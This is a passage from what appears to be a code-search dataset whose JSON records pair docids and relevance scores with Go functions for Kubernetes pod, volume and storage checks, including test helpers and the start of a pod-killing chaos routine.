= v1.ResourceList{}\n\t\tcontainers[i].Resources.Limits[v1.ResourceCPU] = *resource.NewQuantity(int64(0), resource.DecimalSI)\n\t}\n\n\tpod := &v1.Pod{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"Pod\",\n\t\t\tAPIVersion: \"v1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"pd-test-\" + string(uuid.NewUUID()),\n\t\t},\n\t\tSpec: v1.PodSpec{\n\t\t\tContainers: containers,\n\t\t\tNodeName: string(targetNode),\n\t\t},\n\t}\n\n\tpod.Spec.Volumes = make([]v1.Volume, len(diskNames))\n\tfor k, diskName := range diskNames {\n\t\tpod.Spec.Volumes[k].Name = fmt.Sprintf(\"testpd%v\", k+1)\n\t\tif framework.TestContext.Provider == \"aws\" {\n\t\t\tpod.Spec.Volumes[k].VolumeSource = v1.VolumeSource{\n\t\t\t\tAWSElasticBlockStore: &v1.AWSElasticBlockStoreVolumeSource{\n\t\t\t\t\tVolumeID: diskName,\n\t\t\t\t\tFSType: \"ext4\",\n\t\t\t\t\tReadOnly: readOnly,\n\t\t\t\t},\n\t\t\t}\n\t\t} else { // \"gce\" or \"gke\"\n\t\t\tpod.Spec.Volumes[k].VolumeSource = v1.VolumeSource{\n\t\t\t\tGCEPersistentDisk: &v1.GCEPersistentDiskVolumeSource{\n\t\t\t\t\tPDName: diskName,\n\t\t\t\t\tFSType: e2epv.GetDefaultFSType(),\n\t\t\t\t\tReadOnly: readOnly,\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\t}\n\treturn pod\n}", "title": "" }, { "docid": "9cd237f37a846ac71d4ade119b22950e", "score": "0.49635834", "text": "func StorageExists(exec boil.Executor, iD int64) (bool, error) {\n\tvar exists bool\n\tsql := \"select exists(select 1 from \\\"storages\\\" where \\\"id\\\"=$1 limit 1)\"\n\n\tif boil.DebugMode {\n\t\tfmt.Fprintln(boil.DebugWriter, sql)\n\t\tfmt.Fprintln(boil.DebugWriter, iD)\n\t}\n\trow := exec.QueryRow(sql, iD)\n\n\terr := row.Scan(&exists)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"mdbmodels: unable to check if storages exists\")\n\t}\n\n\treturn exists, nil\n}", "title": "" }, { "docid": "92b861fa8d278d4aae935676f830c48c", "score": "0.4958722", "text": "func (a *actionPVCResize) CheckProgress(ctx context.Context) (bool, bool, error) {\n\t// Check that pod is removed\n\tlog := a.log\n\tm, found := a.actionCtx.GetMemberStatusByID(a.action.MemberID)\n\tif !found {\n\t\tlog.Error().Msg(\"No such member\")\n\t\treturn true, false, nil\n\t}\n\n\tpvc, err := a.actionCtx.GetPvc(m.PersistentVolumeClaimName)\n\tif err != nil {\n\t\tif errors.IsNotFound(err) {\n\t\t\treturn true, false, nil\n\t\t}\n\n\t\treturn false, true, err\n\t}\n\n\tpv, err := a.actionCtx.GetPv(pvc.Spec.VolumeName)\n\tif err != nil {\n\t\tif errors.IsNotFound(err) {\n\t\t\treturn true, false, nil\n\t\t}\n\n\t\treturn false, true, err\n\t}\n\n\tif requestedSize, ok := pvc.Spec.Resources.Requests[core.ResourceStorage]; ok {\n\t\tif volumeSize, ok := pv.Spec.Capacity[core.ResourceStorage]; ok {\n\t\t\tcmp := volumeSize.Cmp(requestedSize)\n\t\t\tif cmp >= 0 {\n\t\t\t\treturn true, false, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false, false, nil\n}", "title": "" }, { "docid": "514a697335da032ec0eabd68589c7b8f", "score": "0.49550325", "text": "func (k *Kubectl) CheckString(namespace string, podName string, commandInPod string, result string) (bool, error) {\n\tout, err := exec.Command(\"kubectl\", \"--namespace\", namespace, \"exec\", \"-it\", podName, commandInPod).Output()\n\tif err != nil {\n\t\treturn false, nil\n\t}\n\tif strings.Contains(string(out), result) {\n\t\treturn true, nil\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "514a697335da032ec0eabd68589c7b8f", "score": "0.49550325", "text": "func (k *Kubectl) CheckString(namespace string, podName string, commandInPod string, result string) (bool, error) {\n\tout, err := exec.Command(\"kubectl\", \"--namespace\", namespace, \"exec\", \"-it\", podName, commandInPod).Output()\n\tif err != nil {\n\t\treturn false, nil\n\t}\n\tif strings.Contains(string(out), result) {\n\t\treturn true, nil\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "79b5da34749d46699a54ea7e4aa27ea0", "score": "0.49143916", "text": "func (ext *Checker) validatePodSpec() error {\n\n\t// if containers are not set, then we return an error\n\tif len(ext.PodSpec.Containers) == 0 && len(ext.PodSpec.InitContainers) == 0 {\n\t\treturn errors.New(\"no containers found in checks PodSpec\")\n\t}\n\n\t// ensure that at least one container is defined\n\tif len(ext.PodSpec.Containers) == 0 {\n\t\treturn errors.New(\"no containers found in checks PodSpec\")\n\t}\n\n\t// ensure that all containers have an image set\n\tfor _, c := range ext.PodSpec.Containers {\n\t\tif len(c.Image) == 0 {\n\t\t\treturn errors.New(\"no image found in check's PodSpec for container \" + c.Name + \".\")\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "fc8ffd51e085ebebbfbef1e43f5e9711", "score": "0.49131724", "text": "func (flavor *Flavor) isVolumeAttachedToPod(pod *v1.Pod, va *storage_v1.VolumeAttachment) (bool, error) {\n\tlog.Tracef(\">>>>> isVolumeAttachedToPod with pod %s, va %s\", pod.ObjectMeta.Name, va.Name)\n\tdefer log.Tracef(\"<<<<< isVolumeAttachedToPod\")\n\n\t// check only va's attached to node where pod belongs to\n\tif pod.Spec.NodeName != va.Spec.NodeName {\n\t\treturn false, nil\n\t}\n\tfor _, vol := range pod.Spec.Volumes {\n\t\tif vol.VolumeSource.PersistentVolumeClaim != nil {\n\t\t\t// get claim from volumeattachment\n\t\t\tclaim, err := flavor.getClaimFromClaimName(*va.Spec.Source.PersistentVolumeName)\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\tif claim != nil && claim.ObjectMeta.Name == vol.VolumeSource.PersistentVolumeClaim.ClaimName {\n\t\t\t\tlog.Tracef(\"volume %s of volumeattachment %s is attached to pod %s\", *va.Spec.Source.PersistentVolumeName, va.Name, pod.ObjectMeta.Name)\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "d1ed22902c9877c79a51a4aeada2d21b", "score": "0.4912512", "text": "func (check SchemaCheck) CheckPodTemplate(podTemplate interface{}) (bool, []jsonschema.ValError, error) {\n\treturn check.CheckObject(podTemplate)\n}", "title": "" }, { "docid": "45e7f49d191477754457ed391f873dd4", "score": "0.49124947", "text": "func (_m *MockObjectStorageManager) Exists(_param0 s3.ImageDescription, _param1 interface{}) (bool, error) {\n\tret := _m.ctrl.Call(_m, \"Exists\", _param0, _param1)\n\tret0, _ := ret[0].(bool)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "2fb9ce8b40d450820819cb6c9a8c4462", "score": "0.490859", "text": "func (m *kubeapi) IsExist(ctx context.Context, kind, name string) (bool, error) {\n\treturn true, nil\n}", "title": "" }, { "docid": "7646ff47f4b3730314bbbaebc5a06022", "score": "0.4908445", "text": "func (j *PVCTestJig) CheckExpandedVolumeReadWrite(namespace string, podName string) {\n\tpattern := \"ReadWriteTest\"\n\ttext := fmt.Sprintf(\"hello expanded pvc pod %s\", pattern)\n\tcommand := fmt.Sprintf(\"echo '%s' > /data/test1; grep '%s' /data/test1 \", text, pattern)\n\n\tif pollErr := wait.PollImmediate(K8sResourcePoll, DefaultTimeout, func() (bool, error) {\n\t\tstdout, err := RunHostCmd(namespace, podName, command)\n\t\tif err != nil {\n\t\t\tLogf(\"got err: %v, retry until timeout\", err)\n\t\t\treturn false, nil\n\t\t}\n\t\treturn strings.Contains(stdout, text), nil\n\t}); pollErr != nil {\n\t\tFailf(\"Write Test failed in pod '%v' after expanding pvc\", podName)\n\t}\n\n}", "title": "" }, { "docid": "fa266ee9ae1b568f445794d1d70f91a0", "score": "0.4896612", "text": "func (reconciler *Reconciler) HasAlamedaPod(podNS, podName string) bool {\n\tfor _, deployment := range reconciler.alamedascaler.Status.AlamedaController.Deployments {\n\t\tdeploymentNS := deployment.Namespace\n\t\tfor _, pod := range deployment.Pods {\n\t\t\tif deploymentNS == podNS && pod.Name == podName {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\tfor _, deploymentConfig := range reconciler.alamedascaler.Status.AlamedaController.DeploymentConfigs {\n\t\tdeploymentConfigNS := deploymentConfig.Namespace\n\t\tfor _, pod := range deploymentConfig.Pods {\n\t\t\tif deploymentConfigNS == podNS && pod.Name == podName {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "8ac7817ba6b728cf5ba43a483efc52f9", "score": "0.48762918", "text": "func checkArgValue(v string, found bool, def cmdkit.Argument) error {\n\tif def.Variadic && def.SupportsStdin {\n\t\treturn nil\n\t}\n\n\tif !found && def.Required {\n\t\treturn fmt.Errorf(\"Argument '%s' is required\", def.Name)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "9dec3ba96c68fbe7014e3dd5e095b28d", "score": "0.48760337", "text": "func (s *GCloudStorageImpl) checkAccess(requestedBundleMeta *BundleMeta) error {\n\n\texistingMeta := &BundleMeta{}\n\n\terr := s.DsClient.Get(s.Context, createBundleMetaKey(requestedBundleMeta.BundleID), existingMeta)\n\n\tif err != nil {\n\t\tif err == datastore.ErrNoSuchEntity {\n\t\t\treturn ErrRevisionNotExist\n\t\t}\n\n\t\treturn err\n\t}\n\n\tif requestedBundleMeta.OwnerUserID != existingMeta.OwnerUserID {\n\t\treturn ErrNotAllowed\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "620ef530f9513f1829e0214c3405b875", "score": "0.48686844", "text": "func (kdu *K8sDeploymentUpdate) check() error {\n\tif v, ok := kdu.mutation.Name(); ok {\n\t\tif err := k8sdeployment.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8c5ad9054dbc544285494c34900638fc", "score": "0.48621023", "text": "func checkValidGetResultsArg(v interface{}, argName string) error {\n\treturn checkIsPtrSlice(v, argName)\n}", "title": "" }, { "docid": "de2483607dcf6c04f32bd0319dc2d753", "score": "0.48606116", "text": "func checkPutObjectPartArgs(ctx context.Context, bucket, object string, obj ObjectLayer) error {\n\treturn checkObjectArgs(ctx, bucket, object, obj)\n}", "title": "" }, { "docid": "e8f1b965b50f34461d533fa498b2826d", "score": "0.48596475", "text": "func (l *localDaemon) isAlreadyPushed(ctx context.Context, ref, registryAuth string) (bool, string, error) {\n\tlocalImage, _, err := l.apiClient.ImageInspectWithRaw(ctx, ref)\n\tif err != nil {\n\t\treturn false, \"\", err\n\t}\n\n\tif len(localImage.RepoDigests) == 0 {\n\t\treturn false, \"\", nil\n\t}\n\n\tremoteImage, err := l.apiClient.DistributionInspect(ctx, ref, registryAuth)\n\tif err != nil {\n\t\treturn false, \"\", err\n\t}\n\tdigest := remoteImage.Descriptor.Digest.String()\n\n\tfor _, repoDigest := range localImage.RepoDigests {\n\t\tif parsed, err := ParseReference(repoDigest); err == nil {\n\t\t\tif parsed.Digest == digest {\n\t\t\t\treturn true, parsed.Digest, nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false, \"\", nil\n}", "title": "" }, { "docid": "be03093f8d4fe30bcc88025db28bc600", "score": "0.4858043", "text": "func checkGetObjArgs(ctx context.Context, bucket, object string) error {\n\treturn checkBucketAndObjectNames(ctx, bucket, object)\n}", "title": "" }, { "docid": "e490480c6c486084570ca83465d78010", "score": "0.48386544", "text": "func waitForPod(ctx context.Context, kubeClient kubernetes.Interface, name string, namespace string) error {\n\tfor i := 0; i < podCreationWaitRetries; i++ {\n\t\t// check for the existence of the resource\n\t\tpod, err := kubeClient.CoreV1().Pods(namespace).Get(ctx, name, meta_v1.GetOptions{})\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to get pod %s, err %+v\", name, err)\n\t\t}\n\t\tif pod.Status.Phase != \"Succeeded\" {\n\t\t\tlog.Infof(\"pod %s is curently in %s phase\", name, pod.Status.Phase)\n\t\t\ttime.Sleep(podCreationSleepIntervalSeconds * time.Second)\n\t\t\tcontinue\n\t\t}\n\t\tlog.Infof(\"pod %s have run successfully\", name)\n\t\t// successfully running\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"gave up waiting for pod %s to be available\", name)\n}", "title": "" }, { "docid": "235199e0d11463cac0e5be6531ab9bc8", "score": "0.48376957", "text": "func IsPersistentVolumeExist(client client.Client, name string, annotations map[string]string) (found bool, err error) {\n\tkey := types.NamespacedName{\n\t\tName: name,\n\t}\n\n\tpv := &corev1.PersistentVolume{}\n\n\terr = client.Get(context.TODO(), key, pv)\n\tif err != nil {\n\t\tif apierrs.IsNotFound(err) {\n\t\t\tfound = false\n\t\t\terr = nil\n\t\t}\n\t} else if len(pv.Annotations) == 0 {\n\t\tfound = false\n\t} else {\n\t\tfor k, v := range annotations {\n\t\t\tvalue := pv.Annotations[k]\n\t\t\tif value != v {\n\t\t\t\tfound = false\n\t\t\t\tlog.Info(\"The expected pv's annotation doesn't equal to what it has\", \"key\", k,\n\t\t\t\t\t\"expectedValue\", v,\n\t\t\t\t\t\"actualValue\", value)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tlog.Info(\"The persistentVolume exist\", \"name\", name,\n\t\t\t\"annotaitons\", annotations)\n\t\tfound = true\n\t}\n\n\treturn found, err\n}", "title": "" }, { "docid": "4042f44ff37f0d865f9a8fc0b1976964", "score": "0.48211062", "text": "func podInPodList(podName string, l *v1.PodList) bool {\n\tfor _, p := range l.Items {\n\t\tif p.Name == podName {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "ef094556b17eb8ab8e5568e46bad42c3", "score": "0.48136258", "text": "func isParameterExist(group string, item string, parameter string) bool {\n\treturn viper.IsSet(group + \".\" + item + \".\" + parameter)\n}", "title": "" }, { "docid": "09866ca5b00d74874073491d137e701a", "score": "0.4811879", "text": "func podNeedsUpgrading(log zerolog.Logger, p core.Pod, spec api.DeploymentSpec, images api.ImageInfoList) upgradeDecision {\n\tif c, found := k8sutil.GetContainerByName(&p, k8sutil.ServerContainerName); found {\n\t\tspecImageInfo, found := images.GetByImage(spec.GetImage())\n\t\tif !found {\n\t\t\treturn upgradeDecision{UpgradeNeeded: false}\n\t\t}\n\t\tpodImageInfo, found := images.GetByImageID(c.Image)\n\t\tif !found {\n\t\t\treturn upgradeDecision{UpgradeNeeded: false}\n\t\t}\n\t\tif specImageInfo.ImageID == podImageInfo.ImageID {\n\t\t\t// No change\n\t\t\treturn upgradeDecision{UpgradeNeeded: false}\n\t\t}\n\t\t// Image changed, check if change is allowed\n\t\tspecVersion := specImageInfo.ArangoDBVersion\n\t\tpodVersion := podImageInfo.ArangoDBVersion\n\t\tasLicense := func(info api.ImageInfo) upgraderules.License {\n\t\t\tif info.Enterprise {\n\t\t\t\treturn upgraderules.LicenseEnterprise\n\t\t\t}\n\t\t\treturn upgraderules.LicenseCommunity\n\t\t}\n\t\tspecLicense := asLicense(specImageInfo)\n\t\tpodLicense := asLicense(podImageInfo)\n\t\tif err := upgraderules.CheckUpgradeRulesWithLicense(podVersion, specVersion, podLicense, specLicense); err != nil {\n\t\t\t// E.g. 3.x -> 4.x, we cannot allow automatically\n\t\t\treturn upgradeDecision{\n\t\t\t\tFromVersion: podVersion,\n\t\t\t\tFromLicense: podLicense,\n\t\t\t\tToVersion: specVersion,\n\t\t\t\tToLicense: specLicense,\n\t\t\t\tUpgradeNeeded: true,\n\t\t\t\tUpgradeAllowed: false,\n\t\t\t}\n\t\t}\n\t\tif specVersion.Major() != podVersion.Major() || specVersion.Minor() != podVersion.Minor() {\n\t\t\t// Is allowed, with `--database.auto-upgrade`\n\t\t\tlog.Info().Str(\"spec-version\", string(specVersion)).Str(\"pod-version\", string(podVersion)).\n\t\t\t\tInt(\"spec-version.major\", specVersion.Major()).Int(\"spec-version.minor\", specVersion.Minor()).\n\t\t\t\tInt(\"pod-version.major\", podVersion.Major()).Int(\"pod-version.minor\", podVersion.Minor()).\n\t\t\t\tStr(\"pod\", p.GetName()).Msg(\"Deciding to do a upgrade with --auto-upgrade\")\n\t\t\treturn upgradeDecision{\n\t\t\t\tFromVersion: podVersion,\n\t\t\t\tFromLicense: podLicense,\n\t\t\t\tToVersion: specVersion,\n\t\t\t\tToLicense: specLicense,\n\t\t\t\tUpgradeNeeded: true,\n\t\t\t\tUpgradeAllowed: true,\n\t\t\t\tAutoUpgradeNeeded: true,\n\t\t\t}\n\t\t}\n\t\t// Patch version change, rotate only\n\t\treturn upgradeDecision{\n\t\t\tFromVersion: podVersion,\n\t\t\tFromLicense: podLicense,\n\t\t\tToVersion: specVersion,\n\t\t\tToLicense: specLicense,\n\t\t\tUpgradeNeeded: true,\n\t\t\tUpgradeAllowed: true,\n\t\t\tAutoUpgradeNeeded: false,\n\t\t}\n\t}\n\treturn upgradeDecision{UpgradeNeeded: false}\n}", "title": "" }, { "docid": "4fca00831fedd438fc1d804be45dbcd6", "score": "0.48108268", "text": "func checkPodReady(pod *k8scorev1.Pod) bool {\n\tif len(pod.Spec.Containers) != len(pod.Status.ContainerStatuses) {\n\t\treturn false\n\t}\n\tfor _, containerStatus := range pod.Status.ContainerStatuses {\n\t\tif !containerStatus.Ready {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "aa8bbefc5486419c1fde4f568b50fe43", "score": "0.48064542", "text": "func hasPodIP(pod *corev1.Pod) bool {\n\treturn pod.Status.PodIP != \"\"\n}", "title": "" }, { "docid": "714393aad530deb5a750da062434ee9b", "score": "0.48052192", "text": "func PodNameExists(client *kubernetes.Clientset, podName string, namespace string) (bool, error) {\n\t// TODO: refactor function to receive context on exported function in next breaking change.\n\tctx := context.TODO()\n\n\t// setup a pod watching client for our current KH pod\n\tpodClient := client.CoreV1().Pods(namespace)\n\n\t// if the pod is \"not found\", then it does not exist\n\tp, err := podClient.Get(ctx, podName, metav1.GetOptions{})\n\tif err != nil && (k8sErrors.IsNotFound(err) || strings.Contains(err.Error(), \"not found\")) {\n\t\tlog.Warnln(\"Pod\", podName, \"in namespace\", namespace, \"was not found\"+\":\", err.Error())\n\t\treturn false, err\n\t}\n\n\tif err != nil {\n\t\tlog.Warnln(\"Error getting pod:\", err)\n\t\treturn false, err\n\t}\n\n\tif p.Name == \"\" {\n\t\tlog.Warnln(\"Pod name is empty. Pod does not exist\")\n\t\treturn false, err\n\t}\n\n\t// if the pod has succeeded, it no longer exists\n\tif p.Status.Phase == apiv1.PodSucceeded {\n\t\tlog.Infoln(\"Pod\", podName, \"exited successfully.\")\n\t\treturn false, err\n\t}\n\n\t// if the pod has failed, it no longer exists\n\tif p.Status.Phase == apiv1.PodFailed {\n\t\tlog.Infoln(\"Pod\", podName, \"failed and no longer exists.\")\n\t\treturn false, err\n\t}\n\tlog.Infoln(\"Pod\", podName, \"is present in namespace\", namespace)\n\treturn true, nil\n}", "title": "" }, { "docid": "235cf6f96bf461fcf890fc9a52a9c7ab", "score": "0.48018804", "text": "func (s *SQLiteState) HasPod(id string) (bool, error) {\n\tif id == \"\" {\n\t\treturn false, define.ErrEmptyID\n\t}\n\n\tif !s.valid {\n\t\treturn false, define.ErrDBClosed\n\t}\n\n\trow := s.conn.QueryRow(\"SELECT 1 FROM PodConfig WHERE ID=?;\", id)\n\n\tvar check int\n\tif err := row.Scan(&check); err != nil {\n\t\tif errors.Is(err, sql.ErrNoRows) {\n\t\t\treturn false, nil\n\t\t}\n\t\treturn false, fmt.Errorf(\"looking up pod %s in database: %w\", id, err)\n\t} else if check != 1 {\n\t\treturn false, fmt.Errorf(\"check digit for pod %s lookup incorrect: %w\", id, define.ErrInternal)\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "aef692c0f8f95abbe7e8fffef3f296df", "score": "0.4786928", "text": "func (s *service) checkVolumeMapping(ctx context.Context, volume *types.Volume, arrayID string) (int, error) {\n\trid, log := utils.GetRunidAndLogger(ctx)\n\n\t_, err := s.getUnityClient(ctx, arrayID)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\thost, err := s.getHostID(ctx, arrayID, s.opts.NodeName, s.opts.LongNodeName)\n\tif err != nil {\n\t\treturn 0, status.Error(codes.NotFound, utils.GetMessageWithRunID(rid, \"Find Host Failed [%v]\", err))\n\t}\n\thostContent := host.HostContent\n\thostID := hostContent.ID\n\n\tcontent := volume.VolumeContent\n\tvolName := content.Name\n\n\tfor _, hostaccess := range content.HostAccessResponse {\n\t\thostcontent := hostaccess.HostContent\n\t\thostAccessID := hostcontent.ID\n\t\tif hostAccessID == hostID {\n\t\t\tlog.Debugf(fmt.Sprintf(\"Volume %s has been published to the current node %s.\", volName, host.HostContent.Name))\n\t\t\treturn hostaccess.HLU, nil\n\t\t}\n\t}\n\n\treturn 0, status.Error(codes.Aborted, utils.GetMessageWithRunID(rid, \"Volume %s has not been published to this node %s.\", volName, host.HostContent.Name))\n}", "title": "" }, { "docid": "c765fd8e116b762cf4854e275904a937", "score": "0.47838998", "text": "func checkDelObjArgs(ctx context.Context, bucket, object string) error {\n\treturn checkBucketAndObjectNames(ctx, bucket, object)\n}", "title": "" }, { "docid": "ce13612e082c8d856e7446064705a22b", "score": "0.4759096", "text": "func checkVolumeSatisfyClaim(volume *v1.PersistentVolume, claim *v1.PersistentVolumeClaim) error {\n\trequestedQty := claim.Spec.Resources.Requests[v1.ResourceName(v1.ResourceStorage)]\n\trequestedSize := requestedQty.Value()\n\n\t// check if PV's DeletionTimeStamp is set, if so, return error.\n\tif volume.ObjectMeta.DeletionTimestamp != nil {\n\t\treturn fmt.Errorf(\"the volume is marked for deletion %q\", volume.Name)\n\t}\n\n\tvolumeQty := volume.Spec.Capacity[v1.ResourceStorage]\n\tvolumeSize := volumeQty.Value()\n\tif volumeSize < requestedSize {\n\t\treturn fmt.Errorf(\"requested PV is too small\")\n\t}\n\n\t// this differs from pv_controller, be loose on storage class if not specified\n\trequestedClass := storagehelpers.GetPersistentVolumeClaimClass(claim)\n\tif requestedClass != \"\" && storagehelpers.GetPersistentVolumeClass(volume) != requestedClass {\n\t\treturn fmt.Errorf(\"storageClassName does not match\")\n\t}\n\n\tif storagehelpers.CheckVolumeModeMismatches(&claim.Spec, &volume.Spec) {\n\t\treturn fmt.Errorf(\"incompatible volumeMode\")\n\t}\n\n\tif !storagehelpers.CheckAccessModes(claim, volume) {\n\t\treturn fmt.Errorf(\"incompatible accessMode\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "fa3b5b59f0c6e044bbc9cd3ad949aec4", "score": "0.47485065", "text": "func (p *Pod) Validate(ctx context.Context) *apis.FieldError {\n\t// TODO(jz) reject any non-freeze containers that try to mount the socket themselves etc.\n\t// TODO(jz) reject any non-freeze containers that try to run as root.\n\n\treturn nil\n}", "title": "" }, { "docid": "2b2b8f19e198096cbea188f361cf3665", "score": "0.47404057", "text": "func (s *PodStorage) Get(ctx context.Context, namespace, service, deployment, name string) (*types.Pod, error) {\n\tif ns, ok := s.data[s.keyCreate(namespace, service, deployment, name)]; ok {\n\t\treturn ns, nil\n\t}\n\treturn nil, errors.New(store.ErrEntityNotFound)\n}", "title": "" }, { "docid": "2eae7bc91268de45c308cb2faba72fde", "score": "0.47395974", "text": "func (o *DeployOptions) CheckFileExists(dest string) error {\n\toptions := &channel.ExecOptions{\n\t\tStreamOptions: channel.StreamOptions{\n\t\t\tErrDecoder: func(bytes []byte) interface{} {\n\t\t\t\treturn fmt.Errorf(string(bytes))\n\t\t\t},\n\t\t\tOutDecoder: func(bytes []byte) interface{} {\n\t\t\t\treturn nil\n\t\t\t},\n\t\t},\n\t\tPodNamespace: o.Namespace,\n\t\tPodName: o.PodName,\n\t\tContainerName: o.Container,\n\t\tCommand: []string{\"test\", \"-e\", dest},\n\t\tIgnoreOutput: true,\n\t}\n\tif err := o.client.Exec(options); err != nil {\n\t\treturn err.(error)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2e7b1c7908add958eb6eb983302bfc89", "score": "0.47335613", "text": "func assignedPod(pod *v1.Pod) bool {\n\treturn pod.Spec.NodeName != \"\"\n}", "title": "" }, { "docid": "2fa35cd898fc75c108db8a740fd0b88b", "score": "0.4733332", "text": "func validateVerifyDeleted(ctx context.Context, t *testing.T, profile string) {\n\tdefer PostMortemLogs(t, profile)\n\n\trr, err := Run(t, exec.CommandContext(ctx, Target(), \"profile\", \"list\", \"--output\", \"json\"))\n\tif err != nil {\n\t\tt.Errorf(\"failed to list profiles with json format after it was deleted. args %q: %v\", rr.Command(), err)\n\t}\n\n\tvar jsonObject map[string][]map[string]interface{}\n\tif err := json.Unmarshal(rr.Stdout.Bytes(), &jsonObject); err != nil {\n\t\tt.Errorf(\"failed to decode json from profile list: args %q: %v\", rr.Command(), err)\n\t}\n\tvalidProfiles := jsonObject[\"valid\"]\n\tprofileExists := false\n\tfor _, profileObject := range validProfiles {\n\t\tif profileObject[\"Name\"] == profile {\n\t\t\tprofileExists = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif profileExists {\n\t\tt.Errorf(\"expected the deleted profile %q not to show up in profile list but it does! output: %s . args: %q\", profile, rr.Stdout.String(), rr.Command())\n\t}\n\n\tif KicDriver() {\n\t\tbin := \"docker\"\n\t\tif PodmanDriver() {\n\t\t\tbin = \"podman\"\n\t\t}\n\t\trr, err := Run(t, exec.CommandContext(ctx, bin, \"ps\", \"-a\"))\n\t\tif err == nil && strings.Contains(rr.Output(), profile) {\n\t\t\tt.Errorf(\"expected container %q not to exist in output of %s but it does output: %s.\", profile, rr.Command(), rr.Output())\n\t\t}\n\n\t\trr, err = Run(t, exec.CommandContext(ctx, bin, \"volume\", \"inspect\", profile))\n\t\tif err == nil {\n\t\t\tt.Errorf(\"expected to see error and volume %q to not exist after deletion but got no error and this output: %s\", rr.Command(), rr.Output())\n\t\t}\n\n\t\trr, err = Run(t, exec.CommandContext(ctx, bin, \"network\", \"ls\"))\n\t\tif err != nil {\n\t\t\tt.Errorf(\"failed to get list of networks: %v\", err)\n\t\t}\n\t\tif strings.Contains(rr.Output(), profile) {\n\t\t\tt.Errorf(\"expected network %q to not exist after deletion but contained: %s\", profile, rr.Output())\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "5507ed6c6b22e57a6c3b450fcf8c62c2", "score": "0.4730174", "text": "func (c *MetaFirestore) check(ctx context.Context) error {\n\tif ctx.Err() != nil {\n\t\treturn ctx.Err()\n\t}\n\tif c.collection == \"\" {\n\t\treturn errors.New(\"collection must not empty\")\n\t}\n\tif c.id == \"\" {\n\t\treturn errors.New(\"id must no empty\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f18e40a122445b4ddba748871bf22b7a", "score": "0.47269633", "text": "func killPod(queryName, kind, ns string, slackOut bool) string {\n\n\tc, err := kubeConnect()\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\t// obtain the match labels from the specified 'kind'\n\tvar matchLabels map[string]string\n\n\tswitch kind {\n\tcase \"deployment\":\n\t\tvd, found := victimDeployment(c, ns, queryName)\n\t\tname := vd.ObjectMeta.Name\n\t\tif !found {\n\t\t\tlog.Printf(\"Can not find %s %s in namespace %s, doing nothing\", kind, name, ns)\n\t\t\treturn \"\"\n\t\t}\n\t\t// deployments should remain functional as long as a single pod is\n\t\t// available, but rabbitmq is an exception\n\t\tlog.Printf(\"%s %s in namespace %s has %d pods defined, %d available and %d unavailable \",\n\t\t\tkind, name, ns, *vd.Spec.Replicas, vd.Status.AvailableReplicas, vd.Status.UnavailableReplicas)\n\t\tif name == \"rabbitmq\" {\n\t\t\tif (*vd.Spec.Replicas/2 + 1) >= vd.Status.AvailableReplicas {\n\t\t\t\tlog.Printf(\"available pods less than unavailable pods, doing nothing\")\n\t\t\t\treturn \"\"\n\t\t\t}\n\t\t} else {\n\t\t\tif vd.Status.AvailableReplicas < 2 {\n\t\t\t\tlog.Printf(\"Only one pod available, doing nothing\")\n\t\t\t\treturn \"\"\n\t\t\t}\n\t\t}\n\n\t\tlog.Printf(\"Found %s %s in namespace %s\\n\", kind, name, ns)\n\t\tmatchLabels = vd.Spec.Selector.MatchLabels\n\tcase \"statefulset\":\n\t\tvss, found := victimStatefulSet(c, ns, queryName)\n\t\tname := vss.ObjectMeta.Name\n\t\tif !found {\n\t\t\tlog.Printf(\"Can not find %s %s in namespace %s, doing nothing\", kind, name, ns)\n\t\t\treturn \"\"\n\t\t}\n\t\tlog.Printf(\"%s %s in namespace %s has %d pods defined, %d available\",\n\t\t\tkind, name, ns, *vss.Spec.Replicas, vss.Status.Replicas)\n\t\tif (*vss.Spec.Replicas/2 + 1) >= vss.Status.Replicas {\n\t\t\tlog.Printf(\"available pods less than unavailable pods, doing nothing\")\n\t\t\treturn \"\"\n\t\t}\n\n\t\tlog.Printf(\"Found %s %s in namespace %s\\n\", kind, vss.ObjectMeta.Name, ns)\n\t\tmatchLabels = vss.Spec.Selector.MatchLabels\n\tcase \"daemonset\":\n\t\tvds, found := victimDaemonSet(c, ns, queryName)\n\t\tname := vds.ObjectMeta.Name\n\t\tif !found {\n\t\t\tlog.Printf(\"Can not find %s %s in namespace %s, doing nothing\", kind, name, ns)\n\t\t\treturn \"\"\n\t\t}\n\t\tlog.Printf(\"%s %s in namespace %s has %d pods defined, %d 